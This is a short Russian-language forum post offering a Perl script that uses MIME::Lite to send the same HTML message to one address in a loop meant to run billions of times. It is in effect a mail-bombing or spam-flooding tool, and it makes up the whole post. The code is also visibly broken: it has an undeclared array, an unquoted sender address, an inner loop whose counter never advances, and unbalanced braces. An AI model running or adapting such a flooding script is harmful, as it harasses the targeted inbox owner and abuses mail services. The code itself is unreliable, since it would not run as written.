AliMamed
лучше что-нить в этом духе:
perl:
#!/usr/bin/perl -w
use strict;
use MIME::Lite;
my $var=0;
while ($var<9999999999)
{
my $to="wise*inbox.ru";
$to=~s/\\*/@/;
my $NI=0;
while (@maila->[$NI])
{
my $msg = MIME::Lite->new(
From =>altryist@mail.ru,
To =>$to,
Subject =>"супермегапортала !!!",
Type =>\'multipart/related\'
);
$msg->attach(Type => \'text/html\',
Data => qq{
<HTML>
<HEAD>
<TITLE></TITLE>
</HEAD>
<BODY>
<h1>супермегапортала !!!</h1>
</BODY></HTML>
}
);
$msg->send();
$var++
}
